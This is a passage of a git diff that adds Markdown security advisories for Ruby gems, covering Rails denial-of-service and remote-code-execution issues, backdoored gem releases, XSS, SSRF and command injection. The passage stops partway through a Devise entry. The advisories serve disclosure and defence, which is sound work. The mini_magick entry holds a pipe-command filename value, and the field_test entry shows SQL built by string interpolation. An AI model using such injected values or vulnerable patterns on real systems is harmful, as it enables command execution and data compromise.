100644 index 00000000..676ed9b5 --- /dev/null +++ b/advisories/_posts/2019-03-13-CVE-2019-5419.md @@ -0,0 +1,101 @@ +--- +layout: advisory +title: 'CVE-2019-5419 (actionview): Denial of Service Vulnerability in Action View' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2019-5419 + ghsa: m63j-wh5w-c252 + url: https://groups.google.com/forum/#!topic/rubyonrails-security/GN7w9fFAQeI + title: Denial of Service Vulnerability in Action View + date: 2019-03-13 + description: |- + There is a potential denial of service vulnerability in actionview. + This vulnerability has been assigned the CVE identifier CVE-2019-5419. + + Impact + ------ + Specially crafted accept headers can cause the Action View template location + code to consume 100% CPU, causing the server unable to process requests. This + impacts all Rails applications that render views. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Workarounds + ----------- + This vulnerability can be mitigated by wrapping `render` calls with + `respond_to` blocks. For example, the following example is vulnerable: + + ``` + class UserController < ApplicationController + def index + render "index" + end + end + ``` + + But the following code is not vulnerable: + + ``` + class UserController < ApplicationController + def index + respond_to |format| + format.html { render "index" } + end + end + end + ``` + + Implicit rendering is impacted, so this code is vulnerable: + + ``` + class UserController < ApplicationController + def index + end + end + ``` + + But can be changed this this: + + ``` + class UserController < ApplicationController + def index + respond_to |format| + format.html { render "index" } + end + end + end + ``` + + Alternatively to specifying the format, the following monkey patch can be + applied in an initializer: + + ``` + $ cat config/initializers/formats_filter.rb + # frozen_string_literal: true + + ActionDispatch::Request.prepend(Module.new do + def formats + super().select do |format| + format.symbol || format.ref == "*/*" + end + end + end) + ``` + + Credits + ------- + Thanks to John Hawthorn of GitHub + cvss_v3: 7.5 + patched_versions: + - ">= 6.0.0.beta3" + - "~> 5.2.2, >= 5.2.2.1" + - "~> 5.1.6, >= 5.1.6.2" + - "~> 5.0.7, >= 5.0.7.2" + - "~> 4.2.11, >= 4.2.11.1" +--- diff --git a/advisories/_posts/2019-03-13-CVE-2019-5420.md b/advisories/_posts/2019-03-13-CVE-2019-5420.md new file mode 100644 index 00000000..2512c30c --- /dev/null +++ b/advisories/_posts/2019-03-13-CVE-2019-5420.md @@ -0,0 +1,56 @@ +--- +layout: advisory +title: 'CVE-2019-5420 (railties): Possible Remote Code Execution Exploit in Rails + Development Mode' +comments: false +categories: +- railties +- rails +advisory: + gem: railties + framework: rails + cve: 2019-5420 + ghsa: m42h-mh85-4qgc + url: https://groups.google.com/forum/#!topic/rubyonrails-security/IsQKvDqZdKw + title: Possible Remote Code Execution Exploit in Rails Development Mode + date: 2019-03-13 + description: |- + There is a possible a possible remote code executing exploit in Rails when in + development mode. This vulnerability has been assigned the CVE identifier + CVE-2019-5420. + + Versions Affected: 6.0.0.X, 5.2.X. + Not affected: < 5.2.0 + Fixed Versions: 6.0.0.beta3, 5.2.2.1 + + Impact + ------ + With some knowledge of a target application it is possible for an attacker to + guess the automatically generated development mode secret token. This secret + token can be used in combination with other Rails internals to escalate to a + remote code execution exploit. + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Releases + -------- + The 6.0.0.beta3 and 5.2.2.1 releases are available at the normal locations. + + Workarounds + ----------- + This issue can be mitigated by specifying a secret key in development mode. + In "config/environments/development.rb" add this: + + config.secret_key_base = SecureRandom.hex(64) + + Credits + ------- + Thanks to ooooooo_q + cvss_v3: 9.8 + unaffected_versions: + - "< 5.2.0" + patched_versions: + - "~> 5.2.2, >= 5.2.2.1" + - ">= 6.0.0.beta3" +--- diff --git a/advisories/_posts/2019-03-25-CVE-2019-9837.md b/advisories/_posts/2019-03-25-CVE-2019-9837.md new file mode 100644 index 00000000..73a77946 --- /dev/null +++ b/advisories/_posts/2019-03-25-CVE-2019-9837.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2019-9837 (doorkeeper-openid_connect): Doorkeeper::OpenidConnect Open + Redirect' +comments: false +categories: +- doorkeeper-openid_connect +advisory: + gem: doorkeeper-openid_connect + cve: 2019-9837 + ghsa: vv4c-g6q7-p3q7 + url: https://github.com/doorkeeper-gem/doorkeeper-openid_connect/blob/master/CHANGELOG.md#v154-2019-02-15 + title: Doorkeeper::OpenidConnect Open Redirect + date: 2019-03-25 + description: |- + Doorkeeper::OpenidConnect (aka the OpenID Connect extension for Doorkeeper) + 1.4.x and 1.5.x before 1.5.4 has an open redirect via the redirect_uri field in + an OAuth authorization request (that results in an error response) with the 'openid' + scope and a prompt=none value. This allows phishing attacks against the authorization + flow. + cvss_v3: 6.1 + unaffected_versions: + - "< 1.4.0" + patched_versions: + - ">= 1.5.4" +--- diff --git a/advisories/_posts/2019-04-04-CVE-2019-10842.md b/advisories/_posts/2019-04-04-CVE-2019-10842.md new file mode 100644 index 00000000..0a5bd4d9 --- /dev/null +++ b/advisories/_posts/2019-04-04-CVE-2019-10842.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2019-10842 (bootstrap-sass): Remote code execution in bootstrap-sass' +comments: false +categories: +- bootstrap-sass +advisory: + gem: bootstrap-sass + cve: 2019-10842 + ghsa: vqqv-v9m2-48p2 + url: https://github.com/twbs/bootstrap-sass/issues/1195 + title: Remote code execution in bootstrap-sass + date: 2019-04-04 + description: |- + Arbitrary code execution (via backdoor code, when + downloaded from rubygems.org) was discovered in + bootstrap-sass 3.2.0.3. + + Users are advised to upgrade immediately to 3.2.0.4 + + An unauthenticated attacker can craft the ___cfduid cookie value + with base64 arbitrary code to be executed via eval(), which can + be leveraged to execute arbitrary code on the target system. + (Note that there are three underscore characters in the cookie name. + This is unrelated to the __cfduid cookie that is legitimately used by + Cloudflare.) + cvss_v3: 9.8 + unaffected_versions: + - "<= 3.2.0.2" + patched_versions: + - ">= 3.2.0.4" +--- diff --git a/advisories/_posts/2019-04-10-CVE-2019-16060.md b/advisories/_posts/2019-04-10-CVE-2019-16060.md new file mode 100644 index 00000000..e412f2e1 --- /dev/null +++ b/advisories/_posts/2019-04-10-CVE-2019-16060.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2019-16060 (airbrake-ruby): Blacklist keys are no longer being filtered + in airbrake-ruby' +comments: false +categories: +- airbrake-ruby +advisory: + gem: airbrake-ruby + cve: 2019-16060 + ghsa: 2p82-v77v-mppr + url: https://github.com/airbrake/airbrake-ruby/issues/468 + title: Blacklist keys are no longer being filtered in airbrake-ruby + date: 2019-04-10 + description: |- + A flaw in airbrake-ruby v4.2.3 prevented user data from being filtered + prior to sending to Airbrake. Such data could be user passwords. Therefore, an app + could leak user passwords without knowing it. + cvss_v3: 9.8 + unaffected_versions: + - "< 4.2.3" + - "> 4.2.3" + patched_versions: + - ">= 4.2.4" + related: + url: + - https://github.com/airbrake/airbrake-ruby/pull/469 +--- diff --git a/advisories/_posts/2019-04-19-CVE-2019-11358.md b/advisories/_posts/2019-04-19-CVE-2019-11358.md new file mode 100644 index 00000000..1b92d755 --- /dev/null +++ b/advisories/_posts/2019-04-19-CVE-2019-11358.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2019-11358 (jquery-rails): Prototype pollution attack through jQuery $.extend' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2019-11358 + ghsa: 6c3j-c64m-qhgq + url: https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ + title: Prototype pollution attack through jQuery $.extend + date: 2019-04-19 + description: |- + jQuery before 3.4.0 mishandles jQuery.extend(true, {}, ...) because of + bject.prototype pollution. If an unsanitized source object contained an + enumerable __proto__ property, it could extend the native Object.prototype. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 4.3.4" + related: + url: + - https://hackerone.com/reports/454365 + - https://github.com/jquery/jquery/pull/4333 + - https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b + - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#434 +--- diff --git a/advisories/_posts/2019-04-22-CVE-2019-11068.md b/advisories/_posts/2019-04-22-CVE-2019-11068.md new file mode 100644 index 00000000..14a82992 --- /dev/null +++ b/advisories/_posts/2019-04-22-CVE-2019-11068.md @@ -0,0 +1,57 @@ +--- +layout: advisory +title: 'CVE-2019-11068 (nokogiri): Nokogiri gem, via libxslt, is affected by improper + access control vulnerability' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2019-11068 + ghsa: qxcg-xjjg-66mj + url: https://github.com/sparklemotion/nokogiri/issues/1892 + title: Nokogiri gem, via libxslt, is affected by improper access control vulnerability + date: 2019-04-22 + description: |- + Nokogiri v1.10.3 has been released. + + This is a security release. It addresses a CVE in upstream libxslt rated as + "Priority: medium" by Canonical, and "NVD Severity: high" by Debian. More + details are available below. + + If you're using your distro's system libraries, rather than Nokogiri's + vendored libraries, there's no security need to upgrade at this time, though + you may want to check with your distro whether they've patched this + (Canonical has patched Ubuntu packages). Note that this patch is not yet (as + of 2019-04-22) in an upstream release of libxslt. + + Full details about the security update are available in Github Issue + [#1892] https://github.com/sparklemotion/nokogiri/issues/1892. + + --- + + CVE-2019-11068 + + Permalinks are: + - Canonical: https://people.canonical.com/~ubuntu-security/cve/CVE-2019-11068 + - Debian: https://security-tracker.debian.org/tracker/CVE-2019-11068 + + Description: + + > libxslt through 1.1.33 allows bypass of a protection mechanism + > because callers of xsltCheckRead and xsltCheckWrite permit access + > even upon receiving a -1 error code. xsltCheckRead can return -1 for + > a crafted URL that is not actually invalid and is subsequently + > loaded. + + Canonical rates this as "Priority: Medium". + + Debian rates this as "NVD Severity: High (attack range: remote)". + cvss_v3: 9.8 + patched_versions: + - ">= 1.10.3" + related: + url: + - https://groups.google.com/forum/#!msg/ruby-security-ann/_y80o1zZlOs/k4SDX6hoAAAJ + - https://gitlab.gnome.org/GNOME/libxslt/commit/e03553605b45c88f0b4b2980adfbbb8f6fca2fd6 +--- diff --git a/advisories/_posts/2019-06-04-CVE-2019-12732.md b/advisories/_posts/2019-06-04-CVE-2019-12732.md new file mode 100644 index 00000000..b57687d0 --- /dev/null +++ b/advisories/_posts/2019-06-04-CVE-2019-12732.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2019-12732 (chartkick): XSS Vulnerability in Chartkick Ruby Gem' +comments: false +categories: +- chartkick +advisory: + gem: chartkick + cve: 2019-12732 + ghsa: g45g-g52h-39rg + url: https://github.com/ankane/chartkick/issues/488 + title: XSS Vulnerability in Chartkick Ruby Gem + date: 2019-06-04 + description: |- + Chartkick is vulnerable to a cross-site scripting (XSS) attack if + both the following conditions are met: + + Condition 1: + It's used with `ActiveSupport.escape_html_entities_in_json = false` + (this is not the default for Rails) + OR used with a non-Rails framework like Sinatra. + + Condition 2: + Untrusted data or options are passed to a chart. + + <%= line_chart params[:data], min: params[:min] %> + cvss_v3: 4.7 + patched_versions: + - ">= 3.2.0" +--- diff --git a/advisories/_posts/2019-06-13-CVE-2019-11027.md b/advisories/_posts/2019-06-13-CVE-2019-11027.md new file mode 100644 index 00000000..4ae38805 --- /dev/null +++ b/advisories/_posts/2019-06-13-CVE-2019-11027.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2019-11027 (ruby-openid): ruby-openid SSRF via claimed_id request' +comments: false +categories: +- ruby-openid +advisory: + gem: ruby-openid + cve: 2019-11027 + ghsa: fqfj-cmh6-hj49 + url: https://github.com/openid/ruby-openid/issues/122 + date: 2019-06-13 + title: ruby-openid SSRF via claimed_id request + description: |- + Ruby OpenID (aka ruby-openid) through 2.8.0 has a remotely exploitable + flaw. This library is used by Rails web applications to integrate with OpenID Providers. + Severity can range from medium to critical, depending on how a web application developer + chose to employ the ruby-openid library. Developers who based their OpenID integration + heavily on the "example app" provided by the project are at highest risk. + cvss_v3: 9.8 + patched_versions: + - ">= 2.9.0" +--- diff --git a/advisories/_posts/2019-07-01-CVE-2019-13146.md b/advisories/_posts/2019-07-01-CVE-2019-13146.md new file mode 100644 index 00000000..cdcb6288 --- /dev/null +++ b/advisories/_posts/2019-07-01-CVE-2019-13146.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2019-13146 (field_test): Arbitrary Variants Via Query Parameters' +comments: false +categories: +- field_test +advisory: + gem: field_test + cve: 2019-13146 + ghsa: wg9m-gw3h-hg83 + url: https://github.com/ankane/field_test/issues/17 + title: Arbitrary Variants Via Query Parameters + date: 2019-07-01 + description: |- + Due to unvalidated input, an attacker can pass in + arbitrary variants via query parameters. + + If an application treats variants as trusted, this can + lead to potential vulnerabilities like SQL injection + or cross-site scripting (XSS). For instance: + + landing_page = field_test(:landing_page) + Page.where("key = '#{landing_page}'") + cvss_v3: 5.3 + unaffected_versions: + - "< 0.3.0" + patched_versions: + - ">= 0.3.1" +--- diff --git a/advisories/_posts/2019-07-02-CVE-2019-1020001.md b/advisories/_posts/2019-07-02-CVE-2019-1020001.md new file mode 100644 index 00000000..b99e56f7 --- /dev/null +++ b/advisories/_posts/2019-07-02-CVE-2019-1020001.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2019-1020001 (yard): Arbitrary path traversal and file access via `yard + server`' +comments: false +categories: +- yard +advisory: + gem: yard + cve: 2019-1020001 + ghsa: xfhh-rx56-rxcr + url: https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr + date: 2019-07-02 + title: Arbitrary path traversal and file access via `yard server` + description: |- + A path traversal vulnerability was discovered in YARD <= 0.9.19 when using + `yard server` to serve documentation. This bug would allow unsanitized HTTP + requests to access arbitrary files on the machine of a yard server host under + certain conditions. + + The issue is resolved in v0.9.20 and later. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 0.9.20" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-1020001 + - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr +--- diff --git a/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md b/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md new file mode 100644 index 00000000..2b3feecf --- /dev/null +++ b/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'GHSA-xfhh-rx56-rxcr (yard): Possible arbitrary path traversal and file access + via `yard server`' +comments: false +categories: +- yard +advisory: + gem: yard + ghsa: xfhh-rx56-rxcr + date: 2019-07-02 + url: https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr + title: Possible arbitrary path traversal and file access via `yard server` + description: | + A path traversal vulnerability was discovered in YARD <= 0.9.19 when + using `yard server` to serve documentation. This bug would allow unsanitized HTTP + requests to access arbitrary files on the machine of a yard server host under certain + conditions. + patched_versions: + - ">= 0.9.20" +--- diff --git a/advisories/_posts/2019-07-05-CVE-2019-13354.md b/advisories/_posts/2019-07-05-CVE-2019-13354.md new file mode 100644 index 00000000..bdbf2448 --- /dev/null +++ b/advisories/_posts/2019-07-05-CVE-2019-13354.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2019-13354 (strong_password): strong_password Ruby gem malicious version + causing Remote Code Execution vulnerability' +comments: false +categories: +- strong_password +advisory: + gem: strong_password + cve: 2019-13354 + ghsa: 5h5r-ffc4-c455 + url: https://withatwist.dev/strong-password-rubygem-hijacked.html + title: strong_password Ruby gem malicious version causing Remote Code Execution + vulnerability + date: 2019-07-05 + description: |- + The `strong_password` gem on RubyGems.org was hijacked by a malicious actor. The + malicious actor published v0.0.7 containing malicious code that enables an attacker + to execute remote code in production. + + Upgrade `strong_password` to v0.0.8 to ensure no malicious code execution is possible. + cvss_v3: 9.8 + unaffected_versions: + - "< 0.0.7" + patched_versions: + - ">= 0.0.8" +--- diff --git a/advisories/_posts/2019-07-10-CVE-2019-10744.md b/advisories/_posts/2019-07-10-CVE-2019-10744.md new file mode 100644 index 00000000..1a79d8ff --- /dev/null +++ b/advisories/_posts/2019-07-10-CVE-2019-10744.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2019-10744 (lodash-rails): Prototype Pollution in lodash' +comments: false +categories: +- lodash-rails +advisory: + gem: lodash-rails + cve: 2019-10744 + ghsa: jf85-cpcp-j695 + url: https://github.com/advisories/GHSA-jf85-cpcp-j695 + title: Prototype Pollution in lodash + date: 2019-07-10 + description: |- + Versions of `lodash` before 4.17.12 are vulnerable to Prototype + Pollution. The function `defaultsDeep` allows a malicious user + to modify the prototype of `Object` via + `{constructor: {prototype: {...}}}` causing the addition or + modification of an existing property that will exist on all objects. + + ## Recommendation + + Update to version 4.17.12 or later. + cvss_v2: 6.4 + cvss_v3: 9.1 + patched_versions: + - ">= 4.17.12" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-10744 + - https://github.com/lodash/lodash/pull/4336 + - https://snyk.io/vuln/SNYK-JS-LODASH-450202 + - https://www.npmjs.com/advisories/1065 + - https://access.redhat.com/errata/RHSA-2019:3024 + - https://support.f5.com/csp/article/K47105354 + - https://www.oracle.com/security-alerts/cpujan2021.html + - https://www.oracle.com/security-alerts/cpuoct2020.html + - https://security.netapp.com/advisory/ntap-20191004-0005 + - https://github.com/advisories/GHSA-jf85-cpcp-j695 +--- diff --git a/advisories/_posts/2019-07-12-CVE-2019-13574.md b/advisories/_posts/2019-07-12-CVE-2019-13574.md new file mode 100644 index 00000000..b5533512 --- /dev/null +++ b/advisories/_posts/2019-07-12-CVE-2019-13574.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2019-13574 (mini_magick): Remote command execution via filename' +comments: false +categories: +- mini_magick +advisory: + gem: mini_magick + cve: 2019-13574 + ghsa: r7j3-vvh2-xrpj + url: https://benjamin-bouchet.com/blog/vulnerabilite-dans-la-gem-mini_magick-version-4-9-4/ + title: Remote command execution via filename + date: 2019-07-12 + description: |- + A remote shell execution vulnerability when using MiniMagick::Image.open with URL coming from unsanitized user input. + e.g. `MiniMagick::Image.open("| touch.txt")` + cvss_v3: 7.5 + patched_versions: + - ">= 4.9.4" + related: + url: + - https://github.com/minimagick/minimagick/commit/4cd5081e58810d3394d27a67219e8e4e0445d851 +--- diff --git a/advisories/_posts/2019-07-16-CVE-2019-1010306.md b/advisories/_posts/2019-07-16-CVE-2019-1010306.md new file mode 100644 index 00000000..569a0f2d --- /dev/null +++ b/advisories/_posts/2019-07-16-CVE-2019-1010306.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2019-1010306 (slanger): Arbitrary command execution in slanger' +comments: false +categories: +- slanger +advisory: + gem: slanger + cve: 2019-1010306 + ghsa: rg32-m3hf-772v + url: https://github.com/stevegraham/slanger/pull/238 + date: 2019-07-16 + title: Arbitrary command execution in slanger + description: |- + A remote attacker can execute arbitrary commands by sending a crafted request to the server. + + This is due to the use of `Oj.load` instead of `Oj.strict_load` when processing messages. + + Note that `slanger` is no longer maintained. + patched_versions: + - ">= 0.6.1" + cvss_v3: 9.8 +--- diff --git a/advisories/_posts/2019-07-16-CVE-2019-13589.md b/advisories/_posts/2019-07-16-CVE-2019-13589.md new file mode 100644 index 00000000..358c21aa --- /dev/null +++ b/advisories/_posts/2019-07-16-CVE-2019-13589.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2019-13589 (paranoid2): Code backdoor in paranoid2' +comments: false +categories: +- paranoid2 +advisory: + gem: paranoid2 + cve: 2019-13589 + ghsa: 4g4c-8gqh-m4vm + url: https://github.com/rubygems/rubygems.org/issues/2051 + date: 2019-07-16 + title: Code backdoor in paranoid2 + description: |- + The paranoid2 gem 1.1.6 for Ruby, as distributed on RubyGems.org, included + a code-execution backdoor inserted by a third party. + + The current version, without this backdoor, is 1.1.5. + cvss_v3: 9.8 + unaffected_versions: + - "> 1.1.6" + - "< 1.1.6" +--- diff --git a/advisories/_posts/2019-07-19-CVE-2019-1010266.md b/advisories/_posts/2019-07-19-CVE-2019-1010266.md new file mode 100644 index 00000000..69225fc0 --- /dev/null +++ b/advisories/_posts/2019-07-19-CVE-2019-1010266.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2019-1010266 (lodash-rails): Regular Expression Denial of Service (ReDoS) + in lodash' +comments: false +categories: +- lodash-rails +advisory: + gem: lodash-rails + cve: 2019-1010266 + ghsa: x5rq-j2xg-h7qm + url: https://github.com/advisories/GHSA-x5rq-j2xg-h7qm + title: Regular Expression Denial of Service (ReDoS) in lodash + date: 2019-07-19 + description: |- + lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled + Resource Consumption. The impact is: Denial of service. The + component is: Date handler. The attack vector is: Attacker + provides very long strings, which the library attempts + to match using a regular expression. + + The fixed version is: 4.7.11. + cvss_v3: 6.5 + patched_versions: + - ">= 4.17.11" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-1010266 + - https://github.com/lodash/lodash/issues/3359 + - https://snyk.io/vuln/SNYK-JS-LODASH-73639 + - https://github.com/lodash/lodash/commit/5c08f18d365b64063bfbfa686cbb97cdd6267347 + - https://github.com/lodash/lodash/wiki/Changelog + - https://security.netapp.com/advisory/ntap-20190919-0004 + - https://github.com/advisories/GHSA-x5rq-j2xg-h7qm +--- diff --git a/advisories/_posts/2019-07-26-CVE-2019-1010191.md b/advisories/_posts/2019-07-26-CVE-2019-1010191.md new file mode 100644 index 00000000..74e09e5f --- /dev/null +++ b/advisories/_posts/2019-07-26-CVE-2019-1010191.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2019-1010191 (marginalia): SQL injection vulnerability via Marginalia::Comment' +comments: false +categories: +- marginalia +advisory: + gem: marginalia + cve: 2019-1010191 + ghsa: hrj5-qp7x-rpg6 + url: https://github.com/basecamp/marginalia/pull/73 + title: SQL injection vulnerability via Marginalia::Comment + date: 2019-07-26 + description: |- + The 'marginalia' gem is affected by a SQL Injection vulnerability. All SQL + queries are affected when a user controller argument is added as a component. + + This affects users that add a component that is user controller, for instance + a parameter or a header. + + The issue is resolved in version 1.6. + cvss_v3: 9.8 + patched_versions: + - ">= 1.6" +--- diff --git a/advisories/_posts/2019-07-31-CVE-2018-20857.md b/advisories/_posts/2019-07-31-CVE-2018-20857.md new file mode 100644 index 00000000..7abbe9c9 --- /dev/null +++ b/advisories/_posts/2019-07-31-CVE-2018-20857.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2018-20857 (samlr): samlr XML nodes comment attack' +comments: false +categories: +- samlr +advisory: + gem: samlr + cve: 2018-20857 + ghsa: qpxp-5j56-gg3x + url: https://github.com/zendesk/samlr/pull/29 + date: 2019-07-31 + title: samlr XML nodes comment attack + description: |- + Zendesk Samlr before 2.6.2 allows an XML nodes comment attack such as + a name_id node with user@example.com followed by . and then the attacker's + domain name. + cvss_v3: 7.5 + patched_versions: + - ">= 2.6.2" +--- diff --git a/advisories/_posts/2019-07-31-CVE-2019-14281.md b/advisories/_posts/2019-07-31-CVE-2019-14281.md new file mode 100644 index 00000000..a775e1e0 --- /dev/null +++ b/advisories/_posts/2019-07-31-CVE-2019-14281.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2019-14281 (datagrid): Code execution backdoor in datagrid' +comments: false +categories: +- datagrid +advisory: + gem: datagrid + cve: 2019-14281 + ghsa: rqp5-pg7w-832p + url: https://github.com/rubygems/rubygems.org/issues/2072 + date: 2019-07-31 + title: Code execution backdoor in datagrid + description: |- + The datagrid gem 1.0.6 for Ruby, as distributed on RubyGems.org, included + a code-execution backdoor inserted by a third party. + unaffected_versions: + - "< 1.0.6" + - "> 1.0.6" + cvss_v3: 9.8 +--- diff --git a/advisories/_posts/2019-07-31-CVE-2019-14282.md b/advisories/_posts/2019-07-31-CVE-2019-14282.md new file mode 100644 index 00000000..86148575 --- /dev/null +++ b/advisories/_posts/2019-07-31-CVE-2019-14282.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2019-14282 (simple_captcha2): Code backdoor in simple_captcha2' +comments: false +categories: +- simple_captcha2 +advisory: + gem: simple_captcha2 + cve: 2019-14282 + ghsa: wg6j-r28m-7293 + url: https://github.com/rubygems/rubygems.org/issues/2073 + title: Code backdoor in simple_captcha2 + date: 2019-07-31 + description: |- + The simple_captcha2 gem 0.2.3 for Ruby, as distributed on RubyGems.org, + included a code-execution backdoor inserted by a third party. + cvss_v3: 9.8 + unaffected_versions: + - "< 0.2.3" + - "> 0.2.3" +--- diff --git a/advisories/_posts/2019-08-11-CVE-2019-5477.md b/advisories/_posts/2019-08-11-CVE-2019-5477.md new file mode 100644 index 00000000..4201948f --- /dev/null +++ b/advisories/_posts/2019-08-11-CVE-2019-5477.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2019-5477 (rexical): Rexical Command Injection Vulnerability' +comments: false +categories: +- rexical +advisory: + gem: rexical + cve: 2019-5477 + ghsa: cr5j-953j-xw5p + url: https://github.com/tenderlove/rexical/commit/a652474dbc66be350055db3e8f9b3a7b3fd75926 + title: Rexical Command Injection Vulnerability + date: 2019-08-11 + description: |- + A command injection vulnerability appears in code generated by the Rexical + gem versions v1.0.6 and earlier. It allows commands to be executed in a + subprocess by Ruby's `Kernel.open` method. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 1.0.7" + related: + url: + - https://github.com/tenderlove/rexical/blob/master/CHANGELOG.rdoc#107--2019-08-06 + - https://groups.google.com/forum/#!msg/ruby-security-ann/YMnKFsASOAE/Fw3ocLI0BQAJ +--- diff --git a/advisories/_posts/2019-08-19-CVE-2019-15224.md b/advisories/_posts/2019-08-19-CVE-2019-15224.md new file mode 100644 index 00000000..6b3e61d1 --- /dev/null +++ b/advisories/_posts/2019-08-19-CVE-2019-15224.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2019-15224 (rest-client): Code execution backdoor in rest-client (Contains + Malicious Code)' +comments: false +categories: +- rest-client +advisory: + gem: rest-client + cve: 2019-15224 + ghsa: 333g-rpr4-7hxq + url: https://nvd.nist.gov/vuln/detail/CVE-2019-15224 + title: Code execution backdoor in rest-client (Contains Malicious Code) + date: 2019-08-19 + description: |- + The rest-client gem 1.6.13 for Ruby, as distributed on RubyGems.org, + included a code-execution backdoor inserted by a third party. + cvss_v2: 7.5 + cvss_v3: 9.8 + unaffected_versions: + - "<= 1.6.9" + - ">= 1.6.14" + patched_versions: + - ">= 1.7.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2019-15224 + - https://github.com/advisories/GHSA-333g-rpr4-7hxq +--- diff --git a/advisories/_posts/2019-08-20-CVE-2019-15224.md b/advisories/_posts/2019-08-20-CVE-2019-15224.md new file mode 100644 index 00000000..8f391fea --- /dev/null +++ b/advisories/_posts/2019-08-20-CVE-2019-15224.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2019-15224 (omniauth_amazon): Code execution backdoor in omniauth_amazon' +comments: false +categories: +- omniauth_amazon +advisory: + gem: omniauth_amazon + cve: 2019-15224 + ghsa: 333g-rpr4-7hxq + url: https://github.com/rubygems.org/issues/2097 + title: Code execution backdoor in omniauth_amazon + date: 2019-08-20 + description: |- + The omniauth_amazon gem 1.0.1 for Ruby, as distributed on RubyGems.org, included a + code-execution backdoor inserted by a third party. + + Users of an affected version should consider downgrading to the last non-affected version of + 1.0.1. + cvss_v3: 9.8 + unaffected_versions: + - "< 1.0.1" + - "> 1.0.1" + related: + url: + - https://github.com/rubygems/rubygems.org/wiki/Gems-yanked-and-accounts-locked#19-aug-2019 +--- diff --git a/advisories/_posts/2019-08-21-CVE-2018-20975.md b/advisories/_posts/2019-08-21-CVE-2018-20975.md new file mode 100644 index 00000000..775d501b --- /dev/null +++ b/advisories/_posts/2019-08-21-CVE-2018-20975.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2018-20975 (fat_free_crm): fat_free_crm XSS via query parameter of tags_helper + method' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2018-20975 + ghsa: 4p8f-mmfj-r45g + url: https://github.com/fatfreecrm/fat_free_crm/commit/6d60bc8ed010c4eda05d6645c64849f415f68d65 + date: 2019-08-21 + title: fat_free_crm XSS via query parameter of tags_helper method + description: |- + Fat Free CRM before 0.18.1 has XSS in the tags_helper in + app/helpers/tags_helper.rb. + cvss_v3: 6.1 + patched_versions: + - ">= 0.18.1" +--- diff --git a/advisories/_posts/2019-08-29-CVE-2020-8130.md b/advisories/_posts/2019-08-29-CVE-2020-8130.md new file mode 100644 index 00000000..2d0bdcbe --- /dev/null +++ b/advisories/_posts/2019-08-29-CVE-2020-8130.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2020-8130 (rake): OS Command Injection in Rake' +comments: false +categories: +- rake +advisory: + gem: rake + cve: 2020-8130 + ghsa: jppv-gw3r-w3q8 + date: 2019-08-29 + url: https://github.com/advisories/GHSA-jppv-gw3r-w3q8 + title: OS Command Injection in Rake + description: |- + There is an OS command injection vulnerability in Ruby Rake < 12.3.3 in + Rake::FileList when supplying a filename that begins with the pipe character + `|`. + cvss_v2: 9.3 + cvss_v3: 8.1 + patched_versions: + - ">= 12.3.3" +--- diff --git a/advisories/_posts/2019-09-08-CVE-2019-16109.md b/advisories/_posts/2019-09-08-CVE-2019-16109.md new file mode 100644 index 00000000..2439c0ab --- /dev/null +++ b/advisories/_posts/2019-09-08-CVE-2019-16109.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2019-16109 (devise): Devise Gem for Ruby confirmation token validation + with a blank string' +comments: false +categories: +- devise +advisory: + gem: devise + cve: 2019-16109 + ghsa: fcjw-8rhj-gwwc + url: https://github.com/plataformatec/devise/issues/5071 + title: Devise Gem for Ruby confirmation token validation with a blank string + date: 2019-09-08 